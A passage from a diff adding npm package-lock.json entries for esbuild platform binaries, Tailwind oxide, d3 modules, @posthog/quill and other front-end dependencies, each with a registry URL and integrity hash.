"sha512-2gwwriSMPcCFRlPlKx3zLQhfN/2WjJ2NSlg5TKLQOJdV0mSxIcYNTMhk3H3ulL/cak+Xj0lY1Ym9ysDV1igceg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.0.tgz", + "integrity": "sha512-bxI7ThgLzPrPz484/S9jLlvUAHYMzy6I0XiU1ZMeAEOBcS0VePBFxh1JjTQt3Xiat5b6Oh4x7UC7IwKQKIJRIg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.0.tgz", + "integrity": "sha512-ZUAc2YK6JW89xTbXvftxdnYy3m4iHIkDtK3CLce8wg8M2L+YZhIvO1DKpxrd0Yr59AeNNkTiic9YLf6FTtXWMw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.0.tgz", + "integrity": "sha512-eSNxISBu8XweVEWG31/JzjkIGbGIJN/TrRoiSVZwZ6pkC6VX4Im/WV2cz559/TXLcYbcrDN8JtKgd9DJVIo8GA==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.0.tgz", + "integrity": "sha512-ZENoHJBxA20C2zFzh6AI4fT6RraMzjYw4xKWemRTRmRVtN9c5DcH9r/f2ihEkMjOW5eGgrwCslG/+Y/3bL+DHQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.8.0.tgz", + "integrity": "sha512-0CIZ5itps/8x7BG8dEIhs53BvCUH2PCoogtakwRTut+Arm58sJooJ0AuZhLw2HJYIR5cMLNPBSS728sPho2khQ==", + "license": "MIT", + "peer": true, + "dependencies": { + "@floating-ui/utils": "^0.2.12" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.8.0.tgz", + "integrity": "sha512-yXSrzeHZBTZadLOlfyhCkJHNeLJnHRnRInwdZ40L7ZiaAtrBwoYlsDrX3v5zB1Utk7CLfzcOVnVVWoXEky7Ceg==", + "license": "MIT", + "peer": true, + "dependencies": { + "@floating-ui/core": "^1.8.0", + "@floating-ui/utils": "^0.2.12" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.9.tgz", + "integrity": "sha512-JDjEFGCpImxDCA7JJKviA0M9+RtmJdj0m/NVU5IMgBK+AmZouAQQ7/+2GLH0GXXY0YMw9oXPB8hKdbPYg5QLYg==", + "license": "MIT", + "peer": true, + "dependencies": { + "@floating-ui/dom": "^1.8.0" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.12", + "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.12.tgz", + "integrity": "sha512-HpCo8tmWzLVad5s2d19EhAz5zqrrQ6s69qd6moPMQvkOuSwDT1YgRfWSVuc4ennqrgv3OHppiOGMQ7oC13yIww==", + "license": "MIT", + "peer": true + }, + "node_modules/@posthog/quill": { + "version": "0.3.0-beta.18", + "resolved": "https://registry.npmjs.org/@posthog/quill/-/quill-0.3.0-beta.18.tgz", + "integrity": "sha512-ysYrP4T/J/GFXL0vwsP2ibaf2cqmZdIy2mBPbb4IkfJ8XcqrJ/vYbOUanQNAWZh6r/AFFWRRqwZP1o8t8sZLoQ==", + "license": "MIT", + "dependencies": { + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "lucide-react": "^0.577.0", + "react-resizable-panels": "^4.7.1", + "tailwind-merge": "^2.2.2" + }, + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "@base-ui/react": "^1.4.0", + "react": "^18.3.1 || ^19.0.0", + "react-dom": "^18.3.1 || ^19.0.0", + "tailwindcss": "^4.0.0" + } + }, + "node_modules/@posthog/quill/node_modules/lucide-react": { + "version": "0.577.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz", + "integrity": "sha512-4LjoFv2eEPwYDPg/CUdBJQSDfPyzXCRrVW1X7jrx/trgxnxkHFjnVZINbzvzxjN70dxychOfg+FTYwBiS3pQ5A==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/@tailwindcss/oxide": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide/-/oxide-4.3.1.tgz", + "integrity": "sha512-yVPyo8RNkabVr3O2EhHEE0Rewu7YKzc1DhIqfL46LKveFrmu9XbDazNOJY7/GRuvw1h6u3utWnR29H/p5JPlgA==", + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "optionalDependencies": { + "@tailwindcss/oxide-android-arm64": "4.3.1", + "@tailwindcss/oxide-darwin-arm64": "4.3.1", + "@tailwindcss/oxide-darwin-x64": "4.3.1", + "@tailwindcss/oxide-freebsd-x64": "4.3.1", + "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.1", + "@tailwindcss/oxide-linux-arm64-gnu": "4.3.1", + "@tailwindcss/oxide-linux-arm64-musl": "4.3.1", + "@tailwindcss/oxide-linux-x64-gnu": "4.3.1", + "@tailwindcss/oxide-linux-x64-musl": "4.3.1", + "@tailwindcss/oxide-wasm32-wasi": "4.3.1", + "@tailwindcss/oxide-win32-arm64-msvc": "4.3.1", + "@tailwindcss/oxide-win32-x64-msvc": "4.3.1" + } + }, + "node_modules/@tailwindcss/oxide-android-arm64": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.3.1.tgz", + "integrity": "sha512-SVlyf61g374l5cHyg8x9kf5xmLcOaxvOTsbsqDnSsDJaKOEFZ7GCvi84VAVGpxojYOs1+3K6M0UjXfqPU8vmOQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-darwin-arm64": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.3.1.tgz", + "integrity": "sha512-hVnWLwv+e/l7c4WKyVtHVrIPvYdqWHjRB3MDIqARynzFtnQg85kmQEFCbV9Ja0VVx4xXTIiDWY60Y7iz/iNoDA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-darwin-x64": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.3.1.tgz", + "integrity": "sha512-Cf7abu0WVgbhU7ANgPUnSAvm7nCvMweusHb8FnaHlLfv/Caq4GYaEZg7ZImzzmjx4lIAfuS8q+eLIS7A7IzxIg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-freebsd-x64": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.3.1.tgz", + "integrity": "sha512-ZZqzX2Y+GXtXXfqSfpJhDm60OoZfvLHLCgm+J7NVqgHHJjG/m9ugZI77RwTsVd4fnBJuCFP6Ae6kTJb71UdS8g==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.3.1.tgz", + "integrity": "sha512-/Ah/xik0LaMYfv9DZ0S/t4pBlBNYOcqtRwusjgovHkvT8ixueWCLyJjsaF5kQIckjb4IT8Q6K6p/iPmZMixYgg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.3.1.tgz", + "integrity": "sha512-gqdFoVJlw444GvpnheZLHmvTzSxI/cOUUh2KSNejQjTcYkW062SVD+En0rUgD+QV91bz1XGIGtt1HJd48xUGbQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-musl": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.3.1.tgz", + "integrity": "sha512-Bwv9KwOvE0VKa86xPFif9b9c3Y1NxOV1P0gLti/IYaWEsQYZXDlxfGEtA8mdDZ7SG3wyNXAWYT5SIn3giL57oA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-gnu": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.3.1.tgz", + "integrity": "sha512-Ymi8O8T15HYQdOUWUtTI6ldN0neHP85FC+Qz32xTcZ7iJXtem/x8ITev0o1e9e5rkqj4lONZfTRLvkmin1+tKg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-musl": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.3.1.tgz", + "integrity": "sha512-M+P/91qJ6uILLw4k2G93GMDRAXj61SMvFQYt39AqvUqYgExXpLL5aepfns7sj4HiAQeolirQF9E0lzRvdf4zPQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.3.1.tgz", + "integrity": "sha512-zsM8uOeqvVGHsAXsJxsT28ttosFahLJKCLOTUBqRAtKnVgGSRitds9T432QiT8b77Yga7JIBkulIRRlJPtYhRA==", + "bundleDependencies": [ + "@napi-rs/wasm-runtime", + "@emnapi/core", + "@emnapi/runtime", + "@tybys/wasm-util", + "@emnapi/wasi-threads", + "tslib" + ], + "cpu": [ + "wasm32" + ], + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.10.0", + "@emnapi/runtime": "^1.10.0", + "@emnapi/wasi-threads": "^1.2.1", + "@napi-rs/wasm-runtime": "^1.1.4", + "@tybys/wasm-util": "^0.10.2", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.10.0", + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.1", + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.10.0", + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": { + "version": "1.2.1", + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.4", + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@tybys/wasm-util": "^0.10.1" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "peerDependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": { + "version": "0.10.2", + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": { + "version": "2.8.1", + "inBundle": true, + "license": "0BSD", + "optional": true + }, + "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.3.1.tgz", + "integrity": "sha512-aiNvSq9BsVk8V513lDKlrCFAgf8qBMPZTpgEhInL+NwQqs97mYmupVMrPrgBBSL8Pv/0zXu9MrMF9rMun1ZeNg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-win32-x64-msvc": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.3.1.tgz", + "integrity": "sha512-xDEyu1rg290472FEGaKHnzyDyh5QH+AlWvsU5hMoMtPpzmKlRI0jaYKCgSHDYtaQWZOYbMaduSyCwFwY4n1HmA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", + "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "license": "MIT" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", + "license": "MIT" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz", + "integrity": "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==", + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", + "license": "MIT" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", + "license": "MIT" + }, + "node_modules/class-variance-authority": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", + "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", + "license": "Apache-2.0", + "dependencies": { + "clsx": "^2.1.1" + }, + "funding": { + "url": "https://polar.sh/cva" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz", + "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/dayjs": { + "version": "1.11.13", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.13.tgz", + "integrity": "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==", + "license": "MIT" + }, + "node_modules/decimal.js-light": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", + "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", + "license": "MIT" + }, + "node_modules/dom-helpers": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.8.7", + "csstype": "^3.0.2" + } + }, + "node_modules/esbuild": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.0.tgz", + "integrity": "sha512-BXq5mqc8ltbaN34cDqWuYKyNhX8D/Z0J1xdtdQ8UcIIIyJyz+ZMKUt58tF3SrZ85jcfN/PZYhjR5uDQAYNVbuw==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.0", + "@esbuild/android-arm": "0.25.0", + "@esbuild/android-arm64": "0.25.0", + "@esbuild/android-x64": "0.25.0", + "@esbuild/darwin-arm64": "0.25.0", + "@esbuild/darwin-x64": "0.25.0", + "@esbuild/freebsd-arm64": "0.25.0", + "@esbuild/freebsd-x64": "0.25.0", + "@esbuild/linux-arm": "0.25.0", + "@esbuild/linux-arm64": "0.25.0", + "@esbuild/linux-ia32": "0.25.0", + "@esbuild/linux-loong64": "0.25.0", + "@esbuild/linux-mips64el": "0.25.0", + "@esbuild/linux-ppc64": "0.25.0", + "@esbuild/linux-riscv64": "0.25.0", + "@esbuild/linux-s390x": "0.25.0", + "@esbuild/linux-x64": "0.25.0", + "@esbuild/netbsd-arm64": "0.25.0", + "@esbuild/netbsd-x64": "0.25.0", + "@esbuild/openbsd-arm64": "0.25.0", + "@esbuild/openbsd-x64": "0.25.0", + "@esbuild/sunos-x64": "0.25.0", + "@esbuild/win32-arm64": "0.25.0", + "@esbuild/win32-ia32": "0.25.0", + "@esbuild/win32-x64": "0.25.0" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT" + }, + "node_modules/fast-equals": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-5.4.1.tgz", + "integrity": "sha512-DjlFSM5Pk9cGcL0q5QXl66eGzx0N6szNgaswwc5ZphlBohjTVJSnGgI+rJVOgOi65qUoQnDZN4nDqi33udtydQ==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lucide-react": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-1.21.0.tgz", + "integrity": "sha512-reEZMXq8Qdd5jg5XYkQ5TR1fB/GiQ7ih4vcrthYDtgjSDwh0i6/YLiGjsWsIwgN49gpAnd4J2elSNzncMEEUUQ==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + 